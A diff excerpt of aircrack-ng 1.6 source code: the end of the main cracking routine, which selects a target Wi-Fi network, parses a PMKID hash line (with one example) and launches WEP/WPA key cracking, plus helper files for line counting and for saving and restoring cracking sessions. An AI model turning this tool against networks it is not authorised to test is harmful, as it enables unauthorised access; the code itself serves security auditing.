+			"Cannot save/restore cracking session when there is no wordlist,"
+			" when using stdin or when using airolib-ng database.");
+		goto exit_main;
+	}
+
+	progname = getVersion(
+		"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+
+	if ((cracking_session && cracking_session->is_loaded
+		 && cracking_session->argc - optind < 1)
+		|| (!cracking_session && !_pmkid_16800 && argc - optind < 1))
+	{
+		if (nbarg == 1)
+		{
+		usage:
+			if (progname == NULL)
+				progname = getVersion(
+					"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+
+			printf(usage,
+				   progname,
+				   (cpu_count > 1 || cpu_count == -1) ? "\n      -X         : "
+														"disable  bruteforce   "
+														"multithreading\n"
+													  : "\n");
+
+			// If the user requested help, exit directly.
+			if (showhelp == 1) clean_exit(EXIT_SUCCESS);
+		}
+
+		// Missing parameters
+		if (nbarg - optind == 0)
+		{
+			printf("No file to crack specified.\n");
+		}
+		if (nbarg > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		clean_exit(ret);
+		return ret;
+	}
+
+	if (opt.amode >= 2 && opt.dict == NULL)
+	{
+		ret = missing_wordlist_dictionary(ap_cur);
+		goto exit_main;
+	}
+
+	if ((!opt.essid_set && !opt.bssid_set) && (opt.is_quiet || opt.no_stdin))
+	{
+		printf("Please specify an ESSID or BSSID.\n");
+		goto exit_main;
+	}
+
+	/* start one thread per input file */
+
+	old = optind;
+	n = nbarg - optind;
+	id = 0;
+
+	if (_pmkid_16800)
+	{
+		size_t remaining = strlen((char *) _pmkid_16800_str);
+
+		if (remaining
+			< H16800_PMKID_LEN + H16800_BSSID_LEN + H16800_STMAC_LEN + 4)
+		{
+			ret = EXIT_FAILURE;
+			fprintf(stderr, "Input is too short!\n");
+			goto exit_main;
+		}
+
+		opt.amode = 3;
+		opt.bssid_set = 1;
+
+		ap_cur = malloc(sizeof(*ap_cur));
+		if (!ap_cur) err(1, "malloc()");
+
+		memset(ap_cur, 0, sizeof(*ap_cur));
+
+		// PMKID * BSSID * STMAC * ESSID
+		// c2ea9449c142e84a0479041702526532*0012bf77162d*0021e924a5e7*574c414e2d373731363938 // WLAN-771698
+
+		ap_cur->crypt = 4;
+		ap_cur->target = 1;
+		ap_cur->wpa.state = 5;
+		ap_cur->wpa.keyver = (uint8_t)(opt.amode & 0xFF);
+
+		hexStringToArray((char *) _pmkid_16800_str,
+						 H16800_PMKID_LEN,
+						 ap_cur->wpa.pmkid,
+						 sizeof(ap_cur->wpa.pmkid));
+		hexStringToArray((char *) _pmkid_16800_str + H16800_PMKID_LEN + 1,
+						 H16800_BSSID_LEN,
+						 ap_cur->bssid,
+						 sizeof(ap_cur->bssid));
+		hexStringToArray((char *) _pmkid_16800_str + H16800_PMKID_LEN + 1
+							 + H16800_BSSID_LEN
+							 + 1,
+						 H16800_STMAC_LEN,
+						 ap_cur->wpa.stmac,
+						 sizeof(ap_cur->wpa.stmac));
+		hexStringToArray(
+			(char *) _pmkid_16800_str + H16800_PMKID_LEN + 1 + H16800_BSSID_LEN
+				+ 1
+				+ H16800_STMAC_LEN
+				+ 1,
+			(int) remaining - H16800_PMKID_LEN + 1 + H16800_BSSID_LEN + 1
+				+ H16800_STMAC_LEN
+				+ 1,
+			ap_cur->essid,
+			sizeof(ap_cur->essid));
+
+		c_avl_insert(targets, ap_cur->bssid, ap_cur);
+
+		goto __start;
+	}
+
+	if (!opt.bssid_set)
+	{
+		if (!opt.is_quiet)
+		{
+			printf("Reading packets, please wait...\n");
+			fflush(stdout);
+		}
+
+		do
+		{
+			char * optind_arg = (restore_session)
+									? cracking_session->argv[optind]
+									: argv[optind];
+			if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
+
+			packet_reader_t * request
+				= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
+			ALLEGE(request != NULL);
+
+			request->mode = PACKET_READER_CHECK_MODE;
+			request->filename = optind_arg;
+
+			if (pthread_create(
+					&(tid[id]), NULL, (void *) packet_reader_thread, request)
+				!= 0)
+			{
+				perror("pthread_create failed");
+				goto exit_main;
+			}
+
+			id++;
+			if (id >= MAX_THREADS)
+			{
+				if (!opt.is_quiet)
+					printf(
+						"Only using the first %d files, ignoring the rest.\n",
+						MAX_THREADS);
+				break;
+			}
+		} while (++optind < nbarg);
+
+		/* wait until each thread reaches EOF */
+
+		for (i = 0; i < id; i++)
+		{
+			ALLEGE(pthread_join(tid[i], NULL) == 0);
+			tid[i] = 0;
+		}
+
+		if (!opt.is_quiet && !opt.no_stdin)
+		{
+			erase_line(0);
+			printf("Read %ld packets.\n\n", nb_pkt);
+		}
+
+		if (c_avl_size(access_points) == 0)
+		{
+			printf("No networks found, exiting.\n");
+			goto exit_main;
+		}
+
+		if (cracking_session && restore_session)
+		{
+			// If cracking session present (and it is a restore), auto-load it
+			int not_found = c_avl_get(
+				access_points, cracking_session->bssid, (void **) &ap_cur);
+
+			if (not_found)
+			{
+				fprintf(stderr, "Failed to find BSSID from restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
+
+			// Set BSSID
+			memcpy(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN);
+			opt.bssid_set = 1;
+
+			// Set wordlist
+			if (next_dict(cracking_session->wordlist_id))
+			{
+				fprintf(stderr,
+						"Failed setting wordlist ID from restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
+
+			// Move into position in the wordlist
+			if (fseeko(opt.dict, cracking_session->pos, SEEK_SET) != 0
+				|| ftello(opt.dict) != cracking_session->pos)
+			{
+				fprintf(stderr,
+						"Failed setting position in wordlist from "
+						"restore session.\n");
+				clean_exit(EXIT_FAILURE);
+			}
+
+			// Set amount of keys tried -> Done later
+		}
+		else if (!opt.essid_set && !opt.bssid_set)
+		{
+			/* ask the user which network is to be cracked */
+
+			printf("   #  BSSID%14sESSID%21sEncryption\n\n", "", "");
+
+			i = 1;
+
+			void * key;
+			c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+			while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+			{
+				memset(essid, 0, sizeof(essid));
+				memcpy(essid, ap_cur->essid, ESSID_LENGTH);
+				for (zz = 0; zz < ESSID_LENGTH; zz++)
+				{
+					if ((essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126))
+						essid[zz] = '?';
+				}
+
+				printf("%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
+					   i,
+					   ap_cur->bssid[0],
+					   ap_cur->bssid[1],
+					   ap_cur->bssid[2],
+					   ap_cur->bssid[3],
+					   ap_cur->bssid[4],
+					   ap_cur->bssid[5],
+					   essid);
+
+				if (ap_cur->eapol) printf("EAPOL+");
+
+				switch (ap_cur->crypt)
+				{
+					case 0:
+						printf("None (%d.%d.%d.%d)\n",
+							   ap_cur->lanip[0],
+							   ap_cur->lanip[1],
+							   ap_cur->lanip[2],
+							   ap_cur->lanip[3]);
+						break;
+
+					case 1:
+						printf("No data - WEP or WPA\n");
+						break;
+
+					case 2:
+						printf("WEP (%ld IVs)\n", ap_cur->nb_ivs);
+						break;
+
+					case 3:
+						printf("WPA (%d handshake%s)\n",
+							   ap_cur->wpa.state == 7,
+							   (ap_cur->wpa.pmkid[0] != 0x00 ? ", with PMKID"
+															 : ""));
+						break;
+
+					default:
+						printf("Unknown\n");
+						break;
+				}
+
+				i++;
+			}
+			c_avl_iterator_destroy(it);
+			it = NULL;
+
+			printf("\n");
+
+			if (c_avl_size(access_points) > 1)
+			{
+				do
+				{
+					printf("Index number of target network ? ");
+					fflush(stdout);
+					ret1 = 0;
+					while (!ret1) ret1 = scanf("%127s", buf);
+
+					if ((z = (int) strtol(buf, NULL, 10)) < 1) continue;
+
+					i = 1;
+					it = c_avl_get_iterator(access_points);
+					while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0
+						   && i < z)
+					{
+						i++;
+					}
+					c_avl_iterator_destroy(it);
+					it = NULL;
+					if (i == z)
+					{
+						ap_cur->target = 1;
+						c_avl_insert(targets, ap_cur->bssid, ap_cur);
+					}
+				} while (z < 0 || ap_cur == NULL);
+			}
+			else if (c_avl_size(access_points) == 1)
+			{
+				printf("Choosing first network as target.\n");
+				it = c_avl_get_iterator(access_points);
+				c_avl_iterator_next(it, &key, (void **) &ap_cur);
+				c_avl_iterator_destroy(it);
+				it = NULL;
+				ap_cur->target = 1;
+				c_avl_insert(targets, ap_cur->bssid, ap_cur);
+			}
+			else
+			{
+				// no access points
+			}
+
+			printf("\n");
+
+			// Release memory of all APs we don't care about currently.
+			ap_avl_release_unused(ap_cur);
+
+			memcpy(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN);
+
+			// Copy BSSID to the cracking session
+			if (cracking_session && opt.dict != NULL)
+			{
+				memcpy(cracking_session->bssid, ap_cur->bssid, ETHER_ADDR_LEN);
+			}
+
+			/* Disable PTW if dictionary used in WEP */
+			if (ap_cur->crypt == 2 && opt.dict != NULL)
+			{
+				opt.do_ptw = 0;
+			}
+		}
+
+		optind = old;
+		id = 0;
+	}
+
+	id = 0;
+	nb_prev_pkt = nb_pkt;
+	nb_pkt = 0;
+	nb_eof = 0;
+
+	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
+
+	if (!opt.is_quiet)
+	{
+		printf("Reading packets, please wait...\n");
+		fflush(stdout);
+	}
+
+	if (ap_cur != NULL)
+	{
+		if (ap_cur->uiv_root != NULL)
+		{
+			uniqueiv_wipe(ap_cur->uiv_root);
+			ap_cur->uiv_root = NULL;
+		}
+
+		ap_cur->nb_ivs = 0;
+		ap_cur->ivbuf_size = 0;
+
+		destroy(ap_cur->ivbuf, free);
+	}
+
+	do
+	{
+		char * optind_arg
+			= (restore_session) ? cracking_session->argv[optind] : argv[optind];
+		if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
+
+		packet_reader_t * request
+			= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
+		ALLEGE(request != NULL);
+
+		request->mode = PACKET_READER_READ_MODE;
+		request->filename = optind_arg;
+
+		if (pthread_create(
+				&(tid[id]), NULL, (void *) packet_reader_thread, request)
+			!= 0)
+		{
+			perror("pthread_create failed");
+			goto exit_main;
+		}
+
+		id++;
+		if (id >= MAX_THREADS) break;
+	} while (++optind < nbarg);
+
+	/* wait until threads re-read the original packets read in first pass */
+	ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
+	if (!opt.bssid_set)
+	{
+		while (nb_prev_pkt != nb_pkt) pthread_cond_wait(&cv_eof, &mx_eof);
+	}
+	else
+	{
+		while (nb_eof != id) pthread_cond_wait(&cv_eof, &mx_eof);
+	}
+	ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
+
+	if (!opt.is_quiet && !opt.no_stdin)
+	{
+		erase_line(0);
+		printf("Read %ld packets.\n\n", nb_pkt);
+	}
+
+	/* mark the targeted access point(s) */
+	void * key;
+	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+	{
+		if (memcmp(opt.maddr, BROADCAST, ETHER_ADDR_LEN) == 0
+			|| (opt.bssid_set
+				&& !memcmp(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN))
+			|| (opt.essid_set
+				&& !memcmp(opt.essid, ap_cur->essid, ESSID_LENGTH)))
+		{
+			ap_cur->target = 1;
+		}
+
+		if (ap_cur->target)
+		{
+			c_avl_insert(targets, ap_cur->bssid, ap_cur);
+		}
+	}
+	c_avl_iterator_destroy(it);
+	it = NULL;
+
+	printf("%d potential targets\n\n", c_avl_size(targets));
+	ap_cur = get_first_target();
+
+	if (ap_cur == NULL)
+	{
+		printf("No matching network found - check your %s.\n",
+			   (opt.essid_set) ? "essid" : "bssid");
+
+		goto exit_main;
+	}
+
+	if (ap_cur->crypt < 2)
+	{
+		switch (ap_cur->crypt)
+		{
+			case 0:
+				printf("Target '%s' network doesn't seem encrypted.\n",
+					   (char *) ap_cur->essid);
+				break;
+
+			default:
+				printf("Got no data packets from target network!\n");
+				break;
+		}
+
+		goto exit_main;
+	}
+
+	/* create the cracker<->master communication pipes */
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+		IGNORE_NZ(pipe(mc_pipe[i]));
+		IGNORE_NZ(pipe(cm_pipe[i]));
+
+		if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute && opt.do_mt_brute)
+		{
+			IGNORE_NZ(pipe(bf_pipe[i]));
+			bf_nkeys[i] = 0;
+		}
+	}
+
+__start:
+	/* launch the attack */
+
+	// Start cracking session
+	if (cracking_session)
+	{
+		if (pthread_create(
+				&cracking_session_tid, NULL, (void *) session_save_thread, NULL)
+			!= 0)
+		{
+			perror("pthread_create failed");
+			goto exit_main;
+		}
+	}
+
+	ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+	// Set the amount of keys tried
+	nb_tried = (cracking_session && restore_session)
+				   ? cracking_session->nb_keys_tried
+				   : 0;
+	nb_kprev = 0;
+	ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+
+	chrono(&t_begin, 1);
+	chrono(&t_stats, 1);
+	chrono(&t_kprev, 1);
+
+	ALLEGE(signal(SIGWINCH, sighandler) != SIG_ERR);
+
+	if (opt.amode == 1 || ap_cur->crypt == 2)
+	{
+		ret = perform_wep_crack(ap_cur);
+	}
+
+	if (opt.amode >= 2 || ap_cur->crypt >= 3)
+	{
+		ret = perform_wpa_crack(ap_cur);
+	}
+
+exit_main:
+
+#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
+	_PGOPTI_Prof_Dump();
+#endif
+	if (!opt.is_quiet) printf("\n");
+
+	fflush(stdout);
+
+	clean_exit(ret);
+	/* not reached */
+
+	_exit(ret);
+}

aircrack-ng-1.6.tar.gz/src/aircrack-ng/linecount.cpp Added

@@ -0,0 +1,105 @@
+/*
+ *  High speed wordcounting functions for ETA calculations by Len White <lwhite
+ * at nrw.ca>
+ *
+ *  Copyright (C) 2015 Len White <lwhite at nrw.ca>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ *
+ *  Why is this in C++?
+ *
+ *  The first several versions of this function were written in C
+ *  but when it came to optimizing the speed, I kept hitting brick walls.
+ *  mmap() produced favorable results on Linux but when I tested it on
+ *  Windows or BSD, it was beyond horrible.  Memory Mapping seems to work
+ *  drastically different there, and I even went so far as to write a version
+ *  in native Win32 code which helped slightly but was still far slower than
+ *  even normal read().
+ *
+ *  With some people using massive dictionaries 20-25GB in size, it's important
+ *  that this function be as efficient, and as portable as possible.  I used
+ *  the time command to compare runtime between all my tests; ifstream ifs()
+ *  and ifs.read() were at least 30-50% faster than the next best solution
+ *  except for mmap() on Linux which beat it out by 3-4% but usually only
+ *  on a 2nd run.
+ *
+ *  A possible alternative to this could be the SFIO library but further
+ *  research and testing is required, other big projects like graphviz and perl
+ *  make use of it.  This was designed so it's easy to replace if we can
+ *  find a better solution performance wise.
+ */
+
+#include <algorithm>
+#include <iostream>
+#include <fstream>
+#include <vector>
+#include <ctime>
+#include <string.h>
+#include <sys/types.h>
+
+#include "linecount.h"
+
+using namespace std;
+
+static size_t FileRead(istream & is, vector<char> & buff)
+{
+	if (!is.good() || is.eof()) return 0;
+
+	is.read(&buff[0], buff.size());
+
+	return is.gcount();
+}
+
+unsigned int linecount(const char * file, off_t offset, size_t offsetmax)
+{
+	const size_t SZ = READBUF_BLKSIZE;
+	std::vector<char> buff(SZ);
+	ifstream ifs(file);
+	size_t n = 0;
+	size_t cc = 0;
+	size_t blkcnt = 1;
+
+	if (offsetmax <= 0U) return -1;
+
+	if (offset) ifs.seekg(offset, ifs.beg);
+
+	while ((cc = FileRead(ifs, buff)) > 0)
+	{
+		const size_t nb_read
+			= std::count(buff.begin(), buff.begin() + cc, '\n');
+
+		n += nb_read;
+
+		if (blkcnt >= offsetmax) return n;
+
+		blkcnt++;
+	}
+
+	return n;
+}

aircrack-ng-1.6.tar.gz/src/aircrack-ng/linecount.h Changed

aircrack-ng-1.6.tar.gz/src/aircrack-ng/session.c Added

@@ -0,0 +1,504 @@
+/*
+ *  Aircrack-ng session (load/restore).
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+#include "session.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <inttypes.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/common.h"
+
+int ac_session_destroy(struct session * s)
+{
+	if (s == NULL || s->filename == NULL)
+	{
+		return (0);
+	}
+
+	ALLEGE(pthread_mutex_lock(&(s->mutex)) == 0);
+	FILE * f = fopen(s->filename, "r");
+	if (!f)
+	{
+		ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
+		return (0);
+	}
+
+	fclose(f);
+	int ret = remove(s->filename);
+	ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
+
+	return (ret == 0);
+}
+
+void ac_session_free(struct session ** s)
+{
+	if (s == NULL || *s == NULL)
+	{
+		return;
+	}
+
+	if ((*s)->filename)
+	{
+		// Delete 0 byte file
+		struct stat scs;
+		memset(&scs, 0, sizeof(struct stat));
+		ALLEGE(pthread_mutex_lock(&((*s)->mutex)) == 0);
+		if (stat((*s)->filename, &scs) == 0 && scs.st_size == 0)
+		{
+			ALLEGE(pthread_mutex_unlock(&((*s)->mutex)) == 0);
+			ac_session_destroy(*s);
+		}
+
+		free((*s)->filename);
+	}
+	if ((*s)->argv)
+	{
+		for (int i = 0; i < (*s)->argc; ++i)
+		{
+			free((*s)->argv[i]);
+		}
+		free((*s)->argv);
+	}
+	if ((*s)->working_dir) free((*s)->working_dir);
+
+	free(*s);
+	*s = NULL;
+}
+
+struct session * ac_session_new(void)
+{
+	return (struct session *) calloc(1, sizeof(struct session));
+}
+
+int ac_session_init(struct session * s)
+{
+	if (s == NULL)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	memset(s, 0, sizeof(struct session));
+	ALLEGE(pthread_mutex_init(&(s->mutex), NULL) == 0);
+
+	return (EXIT_SUCCESS);
+}
+
+int ac_session_set_working_directory(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL || str[0] == 0 || chdir(str) == -1)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	session->working_dir = strdup(str);
+
+	return ((session->working_dir) ? EXIT_SUCCESS : EXIT_FAILURE);
+}
+
+int ac_session_set_bssid(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL || strlen(str) != 17)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	// Parse BSSID
+	unsigned int bssid[6];
+	int count = sscanf(str,
+					   "%02X:%02X:%02X:%02X:%02X:%02X",
+					   &bssid[0],
+					   &bssid[1],
+					   &bssid[2],
+					   &bssid[3],
+					   &bssid[4],
+					   &bssid[5]);
+
+	// Verify all parsed correctly
+	if (count < 6)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	// Copy it back to the structure
+	for (int i = 0; i < 6; ++i)
+	{
+		session->bssid[i] = (uint8_t) bssid[i];
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+int ac_session_set_wordlist_settings(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	int nb_input_scanned = sscanf(str,
+								  "%hhu %" PRId64 " %lld",
+								  &(session->wordlist_id),
+								  &(session->pos),
+								  &(session->nb_keys_tried));
+
+	if (nb_input_scanned != 3 || session->pos < 0 || session->nb_keys_tried < 0)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+#define SESSION_MIN_NBARG 4
+int ac_session_set_amount_arguments(struct session * session, const char * str)
+{
+	if (session == NULL || str == NULL)
+	{
+		return (EXIT_FAILURE);
+	}
+
+	// Parse amount of arguments
+	int nb_input_scanned = sscanf(str, "%d", &(session->argc));
+	if (nb_input_scanned != 1 || session->argc < SESSION_MIN_NBARG)
+	{
+		// There should be at least 4 arguments:
+		// - Executable path (argv[0])
+		// - -w
+		// - Wordlist
+		// - capture file
+		return (EXIT_FAILURE);
+	}
+
+	// Allocate memory for all the arguments
+	session->argv = (char **) calloc(session->argc, sizeof(char *));
+	ALLEGE(session->argv != NULL);
+
+	return (EXIT_SUCCESS);
+}
+
+static char * ac_session_getline(FILE * f)
+{
+	if (f == NULL)
+	{
+		return (NULL);
+	}
+
+	char * ret = NULL;
+	size_t n = 0;
+	ssize_t line_len = getline(&ret, &n, f);
+
+	if (line_len == -1)
+	{
+		return (NULL);
+	}
+
+	return (ret);
+}
+
+/*
+ * MT-Unsafe: Caller must not permit multiple threads to call
+ * the function with the same filename.
+ *
+ * File format:
+ * Line 1: Working directory
+ * Line 2: BSSID
+ * Line 3: Wordlist ID followed by a space then
+ *          position in file followed by a space then
+ *          amount of keys tried
+ * Line 4: Amount of arguments (indicates how many lines will follow this one)
+ *
+ * Notes:
+ * - Any line starting with # is ignored
+ * - First 4 lines CANNOT be empty
+ * - Lines are trimmed of any possible \r and \n at the end
+ */
+
+#define SESSION_ARGUMENTS_LINE 4
+#define AC_SESSION_CWD_LINE 0
+#define AC_SESSION_BSSID_LINE 1
+#define AC_SESSION_WL_SETTINGS_LINE 2
+#define AC_SESSION_ARGC_LINE 3
+struct session * ac_session_load(const char * filename)
+{
+	int temp;
+
+	// Check if file exists
+	if (filename == NULL || filename[0] == 0)
+	{
+		return (NULL);
+	}
+	FILE * f = fopen(filename, "r");
+	if (f == NULL)
+	{
+		return (NULL);
+	}
+
+	// Check size isn't 0
+	if (fseeko(f, 0, SEEK_END))
+	{
+		fclose(f);
+		return (NULL);
+	}
+	uint64_t fsize = ftello(f);
+	if (fsize == 0)
+	{
+		fclose(f);
+		return (NULL);
+	}
+	rewind(f);
+
+	// Prepare structure
+	struct session * ret = ac_session_new();
+	if (ret == NULL)
+	{
+		fclose(f);
+		return (NULL);
+	}
+
+	// Initialize
+	ac_session_init(ret);
+	ret->is_loaded = 1;
+	ret->filename = strdup(filename);
+	ALLEGE(ret->filename != NULL);
+
+	char * line;
+	int line_nr = 0;
+	while (1)
+	{
+		line = ac_session_getline(f);
+
+		// Basic checks and trimming
+		if (line == NULL) break;
+		if (line[0] == '#') continue;
+		rtrim(line);
+
+		// Check the parameters
+		switch (line_nr)
+		{
+			case AC_SESSION_CWD_LINE: // Working directory
+			{
+				temp = ac_session_set_working_directory(ret, line);
+				break;
+			}
+			case AC_SESSION_BSSID_LINE: // BSSID
+			{
+				temp = ac_session_set_bssid(ret, line);
+				break;
+			}
+			case AC_SESSION_WL_SETTINGS_LINE: // Wordlist ID, position in
+				// wordlist and amount of keys
+				// tried
+				{
+					temp = ac_session_set_wordlist_settings(ret, line);
+					break;
+				}
+			case AC_SESSION_ARGC_LINE: // Number of arguments
+			{
+				temp = ac_session_set_amount_arguments(ret, line);
+				break;
+			}
+			default: // All the arguments
+			{
+				ret->argv[line_nr - SESSION_ARGUMENTS_LINE] = line;
+				temp = EXIT_SUCCESS;
+				break;
+			}
+		}
+
+		// Cleanup
+		if (line_nr < SESSION_ARGUMENTS_LINE)
+		{
+			free(line);
+		}
+
+		// Check for success/failure
+		if (temp == EXIT_FAILURE)
+		{
+			fclose(f);
+			ac_session_free(&ret);
+			return (NULL);
+		}
+
+		++line_nr;
+	}
+
+	fclose(f);
+	if (line_nr < SESSION_ARGUMENTS_LINE + 1)
+	{
+		ac_session_free(&ret);
+		return (NULL);
+	}
+
+	return (ret);
+}
+
+// Two arguments will be ignored: Session creation parameter and its argument
+#define AMOUNT_ARGUMENTS_IGNORE 2
+struct session *
+ac_session_from_argv(const int argc, char ** argv, const char * filename)
+{
+	if (filename == NULL || filename[0] == 0 || argc <= 3 || argv == NULL)
+	{
+		// If it only has this parameter, then there is something wrong
+		return (NULL);
+	}
+
+	// Check if the file exists and create it if it doesn't
+	int fd = -1;
+	if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
+	{
+		// Just create an empty file for now
+		close(fd);
+	}
+	else
+	{
+		// Not overwriting
+		fprintf(stderr, "Session file already exists: %s\n", filename);
+		return (NULL);
+	}
+
+	// Initialize structure
+	struct session * ret = ac_session_new();
+	if (ret == NULL)
+	{
+		return (NULL);
+	}
+	ac_session_init(ret);
+
+	// Get working directory and copy filename
+	ret->working_dir = get_current_working_directory();
+
+	// Copy filename
+	ret->filename = strdup(filename);
+	ALLEGE(ret->filename != NULL);
+
+	// Copy argc and argv, except the 2 specifying session filename location
+	ret->argv
+		= (char **) calloc(argc - AMOUNT_ARGUMENTS_IGNORE, sizeof(char *));
+	ALLEGE(ret->argv != NULL);
+
+	// Check values are properly set
+	if (ret->working_dir == NULL)
+	{
+		ac_session_free(&ret);
+		return (NULL);
+	}
+
+	// Copy all the arguments
+	for (int i = 0; i < argc; ++i)
+	{
+		if (strcmp(argv[i], filename) == 0)
+		{
+			// Found the session filename, now remove the previously copied
+			// argument
+			ret->argc--;
+			free(ret->argv[ret->argc]);
+			ret->argv[ret->argc] = NULL;
+			continue;
+		}
+
+		// Copy argument
+		ret->argv[ret->argc] = strdup(argv[i]);
+		if (ret->argv[ret->argc] == NULL)
+		{
+			ac_session_free(&ret);
+			return (NULL);
+		}
+
+		// Increment count
+		ret->argc++;
+	}
+
+	return (ret);
+}
+
+int ac_session_save(struct session * s,
+					uint64_t pos,
+					long long int nb_keys_tried)
+{
+	if (s == NULL || s->filename == NULL || s->working_dir == NULL
+		|| s->argc == 0
+		|| s->argv == NULL)
+	{
+		return (-1);
+	}
+
+	// Update amount of keys tried in structure
+	s->nb_keys_tried = nb_keys_tried;
+
+	// Open file for writing
+	ALLEGE(pthread_mutex_lock(&(s->mutex)) == 0);
+	FILE * f = fopen(s->filename, "w");
+	if (f == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
+		return (-1);
+	}
+
+	// Update position in wordlist
+	s->pos = pos;
+
+	// Write it
+	fprintf(f, "%s\n", s->working_dir);
+	fprintf(f,
+			"%02X:%02X:%02X:%02X:%02X:%02X\n",
+			s->bssid[0],
+			s->bssid[1],
+			s->bssid[2],
+			s->bssid[3],
+			s->bssid[4],
+			s->bssid[5]);
+	fprintf(
+		f, "%d %" PRId64 " %lld\n", s->wordlist_id, s->pos, s->nb_keys_tried);
+	fprintf(f, "%d\n", s->argc);
+	for (int i = 0; i < s->argc; ++i)
+	{
+		fprintf(f, "%s\n", s->argv[i]);
+	}
+	fclose(f);
+	ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
+
+	return (0);
+}

aircrack-ng-1.6.tar.gz/src/aircrack-ng/session.h Added

@@ -0,0 +1,85 @@
+/*
+ *  Aircrack-ng session (load/restore).
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
